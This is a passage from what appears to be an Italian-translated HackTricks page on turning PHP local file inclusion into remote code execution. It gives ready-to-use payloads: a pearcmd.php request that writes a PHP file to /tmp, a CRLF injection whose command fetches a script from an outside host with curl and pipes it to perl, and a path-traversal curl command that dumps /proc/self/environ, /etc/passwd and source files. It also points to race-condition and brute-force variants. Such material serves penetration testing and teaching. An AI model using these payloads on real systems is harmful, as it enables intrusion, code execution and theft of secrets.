As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Inoltre, è possibile passare argomenti allo script tramite l’URL perché è indicato che se un parametro URL non ha un =, dovrebbe essere usato come argomento. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Quanto segue sfrutta una vuln CRLF per ottenere RCE (da here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Se trovi una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se trovi una Local File Inclusion e puoi esfiltrare il path del file temporaneo MA il server sta controllando se il file da includere contiene tag PHP, puoi provare a eludere quel controllo con questa Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Se puoi abusare della LFI per caricare file temporanei e far sì che il server blocchi l’esecuzione PHP, puoi poi fare bruteforce sui nomi dei file per ore per trovare il file temporaneo:

LFI2RCE via Eternal waiting

A Fatal Error

Se includi uno qualsiasi dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 volte per generare quell’errore).

Non so quanto sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati.

Conservare le sequenze di traversal dal client

Alcuni client HTTP normalizzano o comprimono ../ prima che la richiesta raggiunga il server, rompendo i payload di directory traversal. Usa curl --path-as-is per mantenere il traversal intatto quando si abusa di log/download endpoint che concatenano un filename controllato dall’utente, e aggiungi --ignore-content-length per pseudo-file come /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Regola il numero di segmenti ../ finché non esci dalla directory prevista, poi dump /etc/passwd, /proc/self/cwd/app.py, o altri file sorgente/config.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks